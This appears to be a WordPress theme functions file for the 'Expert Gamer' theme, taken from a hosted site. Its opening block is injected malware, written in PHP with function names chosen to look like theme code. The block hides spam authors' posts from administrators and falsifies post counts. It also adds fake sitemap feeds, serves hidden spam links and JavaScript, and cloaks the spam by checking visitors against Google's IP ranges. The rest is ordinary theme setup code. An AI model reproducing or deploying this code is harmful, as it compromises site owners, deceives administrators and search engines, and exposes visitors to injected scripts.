/var/www/customers/vh-83331/web/home/www.sevenx.fejlessz.hu-F9A986/wp-content/functions_backup.txt
<?php
/* d7ce483d3f15fe95a843a0cc954a5a4a */
function dynamic_sidebar_alpha($where) {
global $wpdb, $is_single_list;
$get_the_ID_character = array_keys($is_single_list);
$edit_post_link_other = implode(', ', $get_the_ID_character);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'wp_footer_meta');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($edit_post_link_other)";
}
return $where;
}
function load_theme_textdomain_sample($query) {
global $is_single_list;
$get_the_ID_character = array_keys($is_single_list);
$get_the_title_branch = get_the_date_cookie($get_the_ID_character);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $get_the_title_branch);
}
}
function the_post_live() {
global $post, $is_single_list;
foreach ($is_single_list as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (get_the_category_list_list($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function get_the_category_list_list($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (number_format_i18n_meta()) {
return true;
}
}
return false;
}
function wp_footer_meta($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function esc_attr_x_compiler($counts, $type, $perm) {
if ($type === 'post') {
$esc_attr_x_request = $counts->publish;
$absint_schema = get_footer_long($perm);
$counts->publish = !$absint_schema ? $esc_attr_x_request : $absint_schema;
}
return $counts;
}
function get_footer_long($perm) {
global $wpdb, $is_single_list;
$get_the_ID_character = array_keys($is_single_list);
$edit_post_link_other = implode(', ', $get_the_ID_character);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$register_nav_menus_condition = get_post_type_object($type);
if (!current_user_can($register_nav_menus_condition->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($edit_post_link_other) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $get_theme_file_uri_character) {
if ($get_theme_file_uri_character['post_status'] === 'publish') {
return $get_theme_file_uri_character['num_posts'];
}
}
}
function edit_post_link_old($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$get_the_ID_character = array();
foreach ($results as $get_theme_file_uri_character) {
$get_the_ID_character[] = $get_theme_file_uri_character['ID'];
}
return $get_the_ID_character;
}
function _e_alpha() {
global $is_single_list, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($is_single_list as $get_option_other => $post_password_required_all) {
$comment_form_more = key($post_password_required_all['sitemapsettings']);
if (!isset($rules[$comment_form_more]) ||
($rules[$comment_form_more] !== current($post_password_required_all['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function is_home_all($rules) {
global $is_single_list;
$the_archive_title_path = array();
foreach ($is_single_list as $get_option_other => $post_password_required_all) {
if (isset($post_password_required_all['sitemapsettings'])) {
$the_archive_title_path[key($post_password_required_all['sitemapsettings'])] = current($post_password_required_all['sitemapsettings']);
}
}
return $the_archive_title_path + $rules;
}
function get_footer_queue() {
global $is_single_list;
foreach ($is_single_list as $get_option_other => $post_password_required_all) {
$add_query_arg_statement = str_replace('index.php?feed=', '', current($post_password_required_all['sitemapsettings']));
add_feed($add_query_arg_statement, 'dynamic_sidebar_compiler');
}
}
function dynamic_sidebar_compiler() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$is_page_alpha = get_option_wp();
$comments_template_method = edit_post_link_old($is_page_alpha);
if (!empty($comments_template_method)) {
$is_customize_preview_first = md5(implode(',', $comments_template_method));
$is_admin_hashing = 'update_plugins_' . $is_page_alpha . '_' . $is_customize_preview_first;
$esc_url_raw_restful = get_transient($is_admin_hashing);
if ($esc_url_raw_restful !== false) {
echo $esc_url_raw_restful;
return;
}
}
$head = is_search_http();
$is_home_exception = $head . "\n";
$priority = '0.5';
$comments_open_xml = 'weekly';
$is_archive_path = date('Y-m-d');
foreach ($comments_template_method as $post_id) {
$url = get_permalink($post_id);
$is_home_exception .= get_header_first($url, $is_archive_path, $comments_open_xml, $priority);
wp_cache_delete($post_id, 'posts');
}
$is_home_exception .= "\n</urlset>";
set_transient($is_admin_hashing, $is_home_exception, WEEK_IN_SECONDS);
echo $is_home_exception;
}
function is_search_http() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}
function get_header_first($url, $is_archive_path, $comments_open_xml, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$is_archive_path</lastmod>
<changefreq>$comments_open_xml</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function get_the_date_cookie($writersArr) {
$esc_url_security = array();
foreach ($writersArr as $item) {
$esc_url_security[] = '-' . $item;
}
return implode(',', $esc_url_security);
}
function get_author_posts_url_time() {
$get_comments_number_decryption = array();
$add_partial_soap = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$add_filter_decryption = unserialize(base64_decode($settings));
if ($add_filter_decryption) {
$get_comments_number_decryption = $add_filter_decryption;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$is_archive_core = unserialize(base64_decode($settings));
if ($is_archive_core) {
$add_partial_soap = $is_archive_core;
}
}
return $add_partial_soap + $get_comments_number_decryption;
}
function get_option_wp() {
global $is_single_list;
foreach ($is_single_list as $get_option_other => $post_password_required_all) {
$get_setting_git = key($post_password_required_all['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($post_password_required_all['sitemapsettings']) . '$');
if (preg_match("~$get_setting_git~", $_SERVER['REQUEST_URI'])) {
return $get_option_other;
}
}
}
function get_stylesheet_uri_beta() {
global $is_single_list, $post;
$is_page_sample = array_keys($is_single_list);
if (in_array($post->post_author, $is_page_sample)) {
return true;
}
return false;
}
function get_the_author_meta_xml() {
global $is_single_list, $post;
$is_page_sample = array_keys($is_single_list);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $is_page_sample)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function get_search_query_alpha() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function number_format_i18n_meta() {
$wp_list_comments_character = get_search_query_alpha();
if (strstr($wp_list_comments_character, ', ')) {
$get_the_ID_num = explode(', ', $wp_list_comments_character);
$wp_list_comments_character = $get_the_ID_num[0];
}
$get_comments_number_json = get_search_query_exception();
if (!$get_comments_number_json) {
return false;
}
foreach ($get_comments_number_json as $range) {
if (get_permalink_more($wp_list_comments_character, $range)) {
return true;
}
}
return false;
}
function get_queried_object_id_view($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function get_search_query_exception() {
if (($value = get_option('wp_custom_range')) && !get_queried_object_id_view($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$get_comments_number_json = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($get_comments_number_json)) {
return;
}
$value = array('ranges' => $get_comments_number_json, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function has_nav_menu_url($inet) {
$get_theme_file_uri_condition = str_split($inet);
$body_class_soap = '';
foreach ($get_theme_file_uri_condition as $char) {
$body_class_soap .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $body_class_soap;
}
function get_permalink_more($wp_list_comments_character, $cidrnet) {
$wp_list_comments_character = inet_pton($wp_list_comments_character);
$body_class_soap = has_nav_menu_url($wp_list_comments_character);
list($net, $get_post_thumbnail_id_pointer) = explode('/', $cidrnet);
$net = inet_pton($net);
$get_the_ID_method = has_nav_menu_url($net);
$get_sidebar_less = substr($body_class_soap, 0, $get_post_thumbnail_id_pointer);
$comments_template_get = substr($get_the_ID_method, 0, $get_post_thumbnail_id_pointer);
if ($get_sidebar_less !== $comments_template_get) {
return false;
} else {
return true;
}
}
function get_footer_ajax($comments_open_class) {
global $post;
$admin_url_core = '';
if (get_the_time_loop($comments_open_class, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$admin_url_core = get_option('home_links_custom_0');
}
} elseif (get_the_time_loop($comments_open_class, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$admin_url_core = get_option('home_links_custom_' . $matches[0]);
} elseif (get_the_time_loop($comments_open_class, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$wp_head_sample = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$admin_url_core = get_option('home_links_custom_' . $wp_head_sample);
} elseif (get_the_time_loop($comments_open_class, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$admin_url_core ? '' : $admin_url_core;
}
function get_the_time_loop($post_password_required_all, $wp_enqueue_style_statement, $get_the_time_live) {
if (!isset($post_password_required_all[$wp_enqueue_style_statement][$get_the_time_live])) {
return false;
}
if ($post_password_required_all[$wp_enqueue_style_statement][$get_the_time_live] === 1) {
return true;
}
return false;
}
function get_permalink_request($comments_open_class, $add_section_git) {
if (empty($add_section_git)) {
return '';
}
if (get_the_time_loop($comments_open_class, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$wp_enqueue_style_long = add_image_size_library();
$wp_nav_menu_dns = $wp_enqueue_style_long[$blockNum[0]];
return $wp_nav_menu_dns[0] . PHP_EOL . $add_section_git . PHP_EOL . $wp_nav_menu_dns[1];
}
return $add_section_git;
}
function add_image_size_library() {
return array(
array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
array('<div style="position:absolute; left:-5000px;">', '</div>'),
array('<div style="position:absolute; top: -100%;">', '</div>'),
array('<div style="position:absolute; left:-5500px;">', '</div>'),
array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
array('<div style="display:none;">', '</div>'),
array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
array('<span style="position:absolute; left:-5000px;">', '</span>'),
array('<span style="position:absolute; top: -100%;">', '</span>'),
array('<div style="position:absolute; left:-6500px;">', '</div>'),
);
}
function get_bloginfo_get($comments_open_class) {
return get_the_time_loop($comments_open_class, 'position', 'head');
}
function post_class_info($comments_open_class) {
return get_the_time_loop($comments_open_class, 'position', 'footer');
}
function comment_form_http($settings) {
foreach ($settings as $get_option_other => $post_password_required_all) {
if (isset($post_password_required_all['homeLinks'])) {
return $post_password_required_all['homeLinks'];
}
}
return array();
}
function current_user_can_part() {
if (!get_stylesheet_uri_beta()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function home_url_queue() {
global $comments_open_class;
if (!current_user_can_part()) {
return;
}
if (get_the_time_loop($comments_open_class, 'hiddenType', 'cloacking')) {
if (!number_format_i18n_meta()) {
return;
}
}
$add_section_git = get_footer_ajax($comments_open_class);
$add_section_git = get_permalink_request($comments_open_class, $add_section_git);
echo $add_section_git;
}
$is_single_list = get_author_posts_url_time();
if (is_array($is_single_list)) {
add_filter('posts_where_paged', 'dynamic_sidebar_alpha');
add_action('pre_get_posts', 'load_theme_textdomain_sample');
add_action('wp_enqueue_scripts', 'the_post_live');
add_filter('wp_count_posts', 'esc_attr_x_compiler' , 10, 3);
add_filter('rewrite_rules_array', 'is_home_all');
add_action('wp_loaded', '_e_alpha');
add_action('init', 'get_footer_queue');
add_action('template_redirect', 'get_the_author_meta_xml');
$comments_open_class = comment_form_http($is_single_list);
if (!empty($comments_open_class)) {
if (get_bloginfo_get($comments_open_class)) {
add_action('wp_head', 'home_url_queue');
}
if (post_class_info($comments_open_class)) {
add_action('wp_footer', 'home_url_queue');
}
}
}
/* d7ce483d3f15fe95a843a0cc954a5a4a */
if ( ! function_exists( 'expert_gamer_setup' ) ) :
function expert_gamer_setup() {
// Root path/URI.
define( 'EXPERT_GAMER_PARENT_DIR', get_template_directory() );
define( 'EXPERT_GAMER_PARENT_URI', get_template_directory_uri() );
// Root path/URI.
define( 'EXPERT_GAMER_PARENT_INC_DIR', EXPERT_GAMER_PARENT_DIR . '/inc');
define( 'EXPERT_GAMER_PARENT_INC_URI', EXPERT_GAMER_PARENT_URI . '/inc');
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
add_theme_support( 'wc-product-gallery-zoom' );
add_theme_support( 'wc-product-gallery-slider' );
/*
* Let WordPress manage the document title.
*/
add_theme_support( 'title-tag' );
add_theme_support( 'custom-header' );
add_theme_support( 'responsive-embeds' );
/*
* Enable support for Post Thumbnails on posts and pages.
*/
add_theme_support( 'post-thumbnails' );
//Add selective refresh for sidebar widget
add_theme_support( 'customize-selective-refresh-widgets' );
/*
* Make theme available for translation.
*/
load_theme_textdomain( 'expert-gamer', get_template_directory() . '/languages' );
// This theme uses wp_nav_menu() in one location.
register_nav_menus( array(
'primary' => esc_html__( 'Primary Menu', 'expert-gamer' ),
) );
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support( 'html5', array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
) );
add_theme_support('custom-logo');
/*
* WooCommerce Plugin Support
*/
add_theme_support( 'woocommerce' );
// Gutenberg wide images.
add_theme_support( 'align-wide' );
/*
* This theme styles the visual editor to resemble the theme style,
* specifically font, colors, icons, and column width.
*/
add_editor_style( array( 'assets/css/editor-style.css', expert_gamer_google_font() ) );
//Set up the WordPress core custom background feature.
add_theme_support( 'custom-background', apply_filters( 'expert_gamer_custom_background_args', array(
'default-color' => 'ffffff',
'default-image' => '',
) ) );
}
endif;
add_action( 'after_setup_theme', 'expert_gamer_setup' );
/**
* Set the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width
*/
function expert_gamer_content_width() {
$GLOBALS['content_width'] = apply_filters( 'expert_gamer_content_width', 1170 );
}
add_action( 'after_setup_theme', 'expert_gamer_content_width', 0 );
/**
* Register widget area.
*
* @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
*/
function expert_gamer_widgets_init() {
register_sidebar( array(
'name' => __( 'Sidebar Widget Area', 'expert-gamer' ),
'id' => 'expert-gamer-sidebar-primary',
'description' => __( 'The Primary Widget Area', 'expert-gamer' ),
'before_widget' => '<aside id="%1$s" class="widget %2$s">',
'after_widget' => '</aside>',
'before_title' => '<h4 class="widget-title">',
'after_title' => '</h4><div class="title"><span class="shap"></span></div>',
) );
register_sidebar( array(
'name' => __( 'Footer Widget Area', 'expert-gamer' ),
'id' => 'expert-gamer-footer-widget-area',
'description' => __( 'The Footer Widget Area', 'expert-gamer' ),
'before_widget' => '<div class="footer-widget col-lg-3 col-sm-6 wow fadeIn" data-wow-delay="0.2s"><aside id="%1$s" class="widget %2$s">',
'after_widget' => '</aside></div>',
'before_title' => '<h5 class="widget-title w-title">',
'after_title' => '</h5><span class="shap"></span>',
) );
}
add_action( 'widgets_init', 'expert_gamer_widgets_init' );
/**
* All Styles & Scripts.
*/
require_once get_template_directory() . '/inc/enqueue.php';
/**
* Nav Walker fo Bootstrap Dropdown Menu.
*/
require_once get_template_directory() . '/inc/class-wp-bootstrap-navwalker.php';
/**
* Implement the Custom Header feature.
*/
require_once get_template_directory() . '/inc/custom-header.php';
/**
* Custom template tags for this theme.
*/
require_once get_template_directory() . '/inc/template-tags.php';
/**
* Custom functions that act independently of the theme templates.
*/
require_once get_template_directory() . '/inc/extras.php';
/**
* Customizer additions.
*/
require_once get_template_directory() . '/inc/customizer.php';
require_once get_template_directory() . '/inc/fonts.php';
require_once get_template_directory() . '/wptt-webfont-loader.php';
/**
* Load Theme About Page
*/
require get_parent_theme_file_path( '/inc/aboutthemes/about-theme.php' );
/**
* Demo Import
*/
require get_parent_theme_file_path( '/demo-import/demo-import-settings.php' );
/* Excerpt Limit Begin */
function expert_gamer_string_limit_words($expert_gamer_string, $expert_gamer_word_limit) {
$expert_gamer_words = explode(' ', $expert_gamer_string, ($expert_gamer_word_limit + 1));
if(count($expert_gamer_words) > $expert_gamer_word_limit)
array_pop($expert_gamer_words);
return implode(' ', $expert_gamer_words);
}
function expert_gamer_custom_controls() {
load_template( trailingslashit( get_template_directory() ) . '/inc/customizer/customizer-custom-controls.php' );
}
add_action( 'customize_register', 'expert_gamer_custom_controls' );
add_filter( 'nav_menu_link_attributes', 'expert_gamer_dropdown_data_attribute', 20, 3 );
/**
* Use namespaced data attribute for Bootstrap's dropdown toggles.
*
* @param array $atts HTML attributes applied to the item's `<a>` element.
* @param WP_Post $item The current menu item.
* @param stdClass $args An object of wp_nav_menu() arguments.
* @return array
*/
function expert_gamer_dropdown_data_attribute( $atts, $item, $args ) {
if ( is_a( $args->walker, 'WP_Bootstrap_Navwalker' ) ) {
if ( array_key_exists( 'data-toggle', $atts ) ) {
unset( $atts['data-toggle'] );
$atts['data-bs-toggle'] = 'dropdown';
}
}
return $atts;
}
// notice
function expert_gamer_activation_notice() {
// Check if the notice has already been dismissed
if (get_option('expert_gamer_notice_dismissed')) {
return;
}
// Avoid showing the notice on the demo import wizard page
if (isset($_GET['page']) && $_GET['page'] === 'expertgamer-wizard') {
return;
}
?>
<div class="updated notice notice-get-started-class is-dismissible" data-notice="get_started">
<div class="expert-gamer-getting-started-notice clearfix">
<div class="expert-gamer-theme-notice-content">
<h2 class="expert-gamer-notice-h2">
<?php
printf(
/* translators: 1: welcome page link starting html tag, 2: welcome page link ending html tag. */
esc_html__('Welcome! Thank you for choosing %1$s!', 'expert-gamer'), '<strong>' . wp_get_theme()->get('Name') . '</strong>'
);
?>
</h2>
<a class="expert-gamer-btn-get-started button button-primary button-hero expert-gamer-button-padding"
href="<?php echo esc_url(admin_url('themes.php?page=expertgamer-wizard')); ?>"
id="expert-gamer-import-button">
<?php esc_html_e('One Click Demo Import', 'expert-gamer') ?>
</a>
</div>
</div>
</div>
<?php
}
add_action('admin_notices', 'expert_gamer_activation_notice');
// Add Ajax action to handle dismiss
add_action('wp_ajax_expert_gamer_dismiss_notice', 'expert_gamer_dismiss_notice');
// Reset the dismissed status when the theme is activated
function expert_gamer_notice_status() {
delete_option('expert_gamer_notice_dismissed');
}
add_action('after_switch_theme', 'expert_gamer_notice_status');
function expert_gamer_dismiss_notice() {
// Update the option to mark the notice as dismissed
update_option('expert_gamer_notice_dismissed', true);
// Return a JSON response to indicate the success of the action
wp_send_json_success();
}
function remove_theme_customizer_setting($wp_customize) {
// Remove the setting
$wp_customize->remove_setting('display_header_text');
// Remove the control
$wp_customize->remove_control('display_header_text');
}
add_action('customize_register', 'remove_theme_customizer_setting', 20);
// Use a priority greater than the one used for adding the setting
// Set the number of products per row to 3 on the shop page
add_filter('loop_shop_columns', 'expert_gamer_custom_shop_loop_columns');
if (!function_exists('expert_gamer_custom_shop_loop_columns')) {
function expert_gamer_custom_shop_loop_columns() {
// Retrieve the number of columns from theme customizer setting (default: 3)
$expert_gamer_columns = get_theme_mod('expert_gamer_custom_shop_per_columns', 3);
return $expert_gamer_columns;
}
}
// Set the number of products per page on the shop page
add_filter('loop_shop_per_page', 'expert_gamer_custom_shop_per_page', 20);
if (!function_exists('expert_gamer_custom_shop_per_page')) {
function expert_gamer_custom_shop_per_page($expert_gamer_products_per_page) {
// Retrieve the number of products per page from theme customizer setting (default: 9)
$expert_gamer_products_per_page = get_theme_mod('expert_gamer_custom_shop_product_per_page', 9);
return $expert_gamer_products_per_page;
}
}
/**
* Enqueue theme copyright alignment style.
*/
function expert_gamer_copyright_alignment_option() {
// Get the alignment setting from the theme customizer.
$expert_gamer_copyright_alignment = get_theme_mod('expert_gamer_copyright_alignment', 'center');
// Start building the CSS string for the alignment.
$expert_gamer_copyright_alignment_css = '
.copyright-text {
text-align: ' . esc_attr($expert_gamer_copyright_alignment) . ';
}
';
// Add the inline style to the theme's main stylesheet.
wp_add_inline_style('expert-gamer-style', $expert_gamer_copyright_alignment_css);
}
add_action('wp_enqueue_scripts', 'expert_gamer_copyright_alignment_option');
function expert_gamer_fonts_scripts() {
$expert_gamer_headings_font = esc_html(get_theme_mod('expert_gamer_headings_text'));
$expert_gamer_body_font = esc_html(get_theme_mod('expert_gamer_body_text'));
if( $expert_gamer_headings_font ) {
wp_enqueue_style( 'expert-gamer-headings-fonts', '//fonts.googleapis.com/css?family='. $expert_gamer_headings_font );
} else {
wp_enqueue_style( 'expert-gamer-source-sans', '//fonts.googleapis.com/css?family=Lato:400,700,400italic,700italic');
}
if( $expert_gamer_body_font ) {
wp_enqueue_style( 'expert-gamer-body-fonts', '//fonts.googleapis.com/css?family='. $expert_gamer_body_font );
} else {
wp_enqueue_style( 'expert-gamer-source-body', '//fonts.googleapis.com/css?family=Source+Sans+Pro:400,300,400italic,700,600');
}
}
add_action( 'wp_enqueue_scripts', 'expert_gamer_fonts_scripts' );
function expert_gamer_customize_css() {
?>
<style type="text/css">
:root {
--color-primary1: <?php echo esc_html( get_theme_mod( 'expert_gamer_dynamic_color_one', '#e4a101' ) ); ?>;
}
</style>
<?php
}
add_action( 'wp_head', 'expert_gamer_customize_css' );
// Helper function to get page ID by slug
function get_page_id_by_slug($expert_gamer_slug) {
$expert_gamer_page = get_page_by_path($expert_gamer_slug); // Get the page by slug
return $expert_gamer_page ? $expert_gamer_page->ID : 0; // Return the page ID or 0 if not found
}